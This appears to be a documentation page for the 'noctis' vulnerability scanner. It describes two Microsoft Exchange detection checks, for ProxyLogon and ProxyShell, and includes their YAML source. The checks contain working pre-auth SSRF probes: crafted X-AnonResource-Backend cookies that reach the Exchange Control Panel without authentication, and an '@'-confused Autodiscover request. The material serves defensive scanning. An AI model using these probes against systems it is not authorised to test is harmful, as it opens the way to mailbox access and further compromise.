Microsoft Exchange — 2 vulnerability checks
noctis ships 2 vulnerability checks for Microsoft Exchange, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Microsoft Exchange ProxyLogon SSRF
| CVE | CVE-2021-26855 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | ssrf — SSRF |
| Services | http, https |
| Detection | http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/exchange/CVE-2021-26855.yaml |
Tests Exchange Server for the ProxyLogon SSRF vulnerability by sending crafted cookies that trigger backend routing. Vulnerable servers expose internal routing headers (X-CalculatedBETarget, X-FEServer) in the response.
How noctis detects it
- HTTP(S) request
GET /owa/auth/logon.aspx - Checks
owa_resp.bodyfor(Outlook Web App|OWA|Exchange Server|Microsoft.Exchange) - HTTP(S) request
GET /owa/auth/x.js - Checks
ssrf_resp.headersfor(?i)"x-calculatedbetarget":"[^"]+"→ finding QoD 75: ProxyLogon SSRF — X-CalculatedBETarget exposed: … - Checks
ssrf_resp.headersfor(?i)"x-feserver":"[^"]+"→ finding QoD 75: ProxyLogon SSRF — X-FEServer internal hostname exposed: … - HTTP(S) request
GET /ecp/default.aspx - Checks
ecp_resp.bodyfor(Exchange Control Panel|ECP|msExchEcpCanary)→ finding QoD 97: ProxyLogon confirmed — ECP accessible without auth: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-26855
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
- https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
Feed source — tests/vulnerabilities/exchange/CVE-2021-26855.yaml
# Microsoft Exchange ProxyLogon SSRF — CVE-2021-26855
#
# Exchange Server 2013/2016/2019 (pre-March 2021) accepts an
# X-AnonResource-Backend cookie that forces the frontend to proxy the
# request to an arbitrary backend without authentication checks.
# This pre-auth SSRF allows access to any mailbox and, chained with
# CVE-2021-27065, enables writing a webshell (ProxyLogon chain).
#
# Vulnerability indicators:
# - X-CalculatedBETarget header present in the response
# - X-FEServer header leaks the internal server name
# - SSRF cookie is not rejected (no 400)
uid: 2a7f4e8b-1c3d-4a6f-9b5e-7d0c3f2a1e8b
name: "Microsoft Exchange ProxyLogon SSRF (CVE-2021-26855)"
description: |
Tests Exchange Server for the ProxyLogon SSRF vulnerability by sending
crafted cookies that trigger backend routing. Vulnerable servers expose
internal routing headers (X-CalculatedBETarget, X-FEServer) in the response.
cves: [CVE-2021-26855]
cvss: 9.8
severity: critical
category: ssrf
confidence_base: 0.20
tags: [exchange, microsoft, ssrf, email, proxylogon]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-26855"
- "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855"
- "https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
steps:
# ── Exchange service detection ────────────────────────────────────────────
- id: exchange-detect
action: http_request
method: GET
path: "/owa/auth/logon.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 10
store_as: owa_resp
- id: exchange-banner
action: match
source: owa_resp.body
pattern: "(Outlook Web App|OWA|Exchange Server|Microsoft.Exchange)"
case_insensitive: true
on_match:
set_vars:
is_exchange: true
# ── SSRF probe with X-AnonResource-Backend cookie ────────────────────────
- id: ssrf-probe
action: http_request
method: GET
path: "/owa/auth/x.js"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Cookie: >-
X-AnonResource=true;
X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-BEResource=localhost/owa/auth/logon.aspx?~3;
store_as: ssrf_resp
condition: "is_exchange == true"
# X-CalculatedBETarget header leaks internal routing.
# Headers are serialized as JSON ("key":"value") — match that format.
- id: ssrf-header-match
action: match
source: ssrf_resp.headers
pattern: "(?i)\"x-calculatedbetarget\":\"[^\"]+\""
condition: "is_exchange == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "ProxyLogon SSRF — X-CalculatedBETarget exposed: {{ssrf_resp.headers}}"
set_vars:
proxylogon_ssrf: true
# X-FEServer leaks the internal frontend server name
- id: ssrf-feserver-match
action: match
source: ssrf_resp.headers
pattern: "(?i)\"x-feserver\":\"[^\"]+\""
condition: "is_exchange == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "ProxyLogon SSRF — X-FEServer internal hostname exposed: {{ssrf_resp.headers}}"
set_vars:
proxylogon_ssrf: true
# ── ECP endpoint probe (unauthenticated access) ───────────────────────────
# The ECP (Exchange Control Panel) is normally auth-protected.
# If reachable via the SSRF cookie, the vulnerability is confirmed.
- id: ecp-probe
action: http_request
method: GET
path: "/ecp/default.aspx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Cookie: >-
X-AnonResource=true;
X-AnonResource-Backend=localhost/ecp/default.flt?~3;
X-BEResource=localhost/ecp/default.aspx?~3;
msExchEcpCanary: "noctis-probe"
store_as: ecp_resp
condition: "proxylogon_ssrf == true"
- id: ecp-access-match
action: match
source: ecp_resp.body
pattern: "(Exchange Control Panel|ECP|msExchEcpCanary)"
case_insensitive: true
condition: "proxylogon_ssrf == true"
on_match:
finding:
confidence_delta: 0.75
qod: 97
evidence: "ProxyLogon confirmed — ECP accessible without auth: {{ecp_resp.body}}"
stop: trueMicrosoft Exchange ProxyShell pre-auth path confusion
| CVE | CVE-2021-34473 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/exchange/CVE-2021-34473.yaml |
Detects the CVE-2021-34473 Autodiscover path-confusion / pre-auth SSRF that is the entry point of the ProxyShell chain. A per-run marker is sent through the "@"-confused Autodiscover URL; a vulnerable frontend fails open to the backend and reflects the marker, while a control request on the normal path does not. Fully inert — no exploitation of the downstream chain.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /autodiscover/autodiscover.json?@noctis.local&Email=autodiscover/autodiscover.json%3F… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /autodiscover/autodiscover.json?Email={{marker}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
conf.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 75: ProxyShell pre-auth path confusion (CVE-2021-34473): per-run marker … reflected through the '@'-confused Autodiscover backend but absent on…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-34473
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34473.yaml
Feed source — tests/vulnerabilities/exchange/CVE-2021-34473.yaml
# Microsoft Exchange ProxyShell pre-auth path confusion — CVE-2021-34473
#
# CVE-2021-34473 is the entry point of the ProxyShell chain: the Exchange
# frontend (Client Access Services) mishandles the Autodiscover URL when it
# carries an embedded "@" and a trailing "?@" suffix, e.g.
# /autodiscover/autodiscover.json?@<host>&Email=autodiscover/autodiscover.json%3F@<x>
# The explicit "Email" suffix makes the frontend strip the real path and route
# the request to a backend endpoint that should require authentication, so the
# request "fails open" — the classic pre-auth SSRF / path-confusion primitive
# that the rest of the chain (CVE-2021-34523, CVE-2021-31207) builds RCE on.
#
# Detection is inert and does NOT exploit the chain — no PowerShell, no mailbox
# export, no file write. It is a per-run reflection differential:
# 1. mint a per-run marker NOCTIS<32-hex> (fresh every scan)
# 2. send the path-confusion request carrying that marker — a vulnerable
# frontend fails open to the backend and echoes the marker back
# 3. send a CONTROL request on the normal (non-confused) Autodiscover path
# carrying the same marker — a server that is actually confused by the "@"
# suffix must NOT echo it here
# A finding fires only when the marker is reflected on the confusion path AND
# absent from the control path, which rules out a static banner, a constant
# marker, or a page that echoes every input.
#
# The "@" / "%3F" payload is URL-encoded in the request target, so reqwest would
# normalise it away — the probes use tcp_connect with verbatim HTTP/1.0 and read
# resp.banner (never resp.data).
uid: d6717b0b-e971-4b65-a69e-51b9b64d6baf
name: "Microsoft Exchange ProxyShell pre-auth path confusion (CVE-2021-34473)"
description: |
Detects the CVE-2021-34473 Autodiscover path-confusion / pre-auth SSRF that is
the entry point of the ProxyShell chain. A per-run marker is sent through the
"@"-confused Autodiscover URL; a vulnerable frontend fails open to the backend
and reflects the marker, while a control request on the normal path does not.
Fully inert — no exploitation of the downstream chain.
cves: [CVE-2021-34473]
cvss: 9.1
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [exchange, microsoft, proxyshell, ssrf, auth-bypass, path-confusion]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-34473"
- "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34473.yaml"
steps:
# ── Mint a fresh per-run marker: NOCTIS followed by 32 hex chars ──────────
- id: mint-marker
action: script
code: |
"NOCTIS" + rand_hex(16)
store_as: marker
# Initialise the gate var referenced in the final match condition.
- id: init-gate
action: set_var
var_name: gate_ok
var_value: false
# ── Path-confusion probe ─────────────────────────────────────────────────
# The embedded "@" plus the "Email=autodiscover/autodiscover.json%3F@" suffix
# is the ProxyShell path confusion. %3F and the raw "@" must survive verbatim,
# so tcp_connect (not http_request) is required. The per-run marker rides in
# the Email value; a vulnerable frontend fails open and echoes it back.
- id: confusion-probe
action: tcp_connect
port: "{{port}}"
send: "GET /autodiscover/autodiscover.json?@noctis.local&Email=autodiscover/autodiscover.json%3F@{{marker}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: conf
# ── Control probe ────────────────────────────────────────────────────────
# Same marker, but the normal Autodiscover path with NO "@" confusion. A
# genuinely path-confused server must NOT reflect the marker here; a page that
# simply echoes every input WILL, and is thereby excluded by the gate.
- id: control-probe
action: tcp_connect
port: "{{port}}"
send: "GET /autodiscover/autodiscover.json?Email={{marker}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ctrl
# ── Differential gate ────────────────────────────────────────────────────
# confusion 2xx AND marker reflected on confusion AND marker absent on control.
# Null banners are coerced to "" so stridx never throws.
- id: differential-gate
action: script
store_as: gate_ok
code: |
let cb = if type_of(conf.banner) == "string" { conf.banner } else { "" };
let xb = if type_of(ctrl.banner) == "string" { ctrl.banner } else { "" };
let ok_status = ereg("^HTTP/1\\.[01] 200", cb);
let reflected = stridx(cb, marker) >= 0;
let control_clean = stridx(xb, marker) < 0;
ok_status && reflected && control_clean
# ── Finding ──────────────────────────────────────────────────────────────
# The regex confirms the reflected value is a well-formed per-run marker; the
# gate confirms the reflection is specific to the confused path.
- id: confirm-path-confusion
action: match
source: conf.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "gate_ok == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "ProxyShell pre-auth path confusion (CVE-2021-34473): per-run marker {{marker}} reflected through the '@'-confused Autodiscover backend but absent on the control path"
stop: true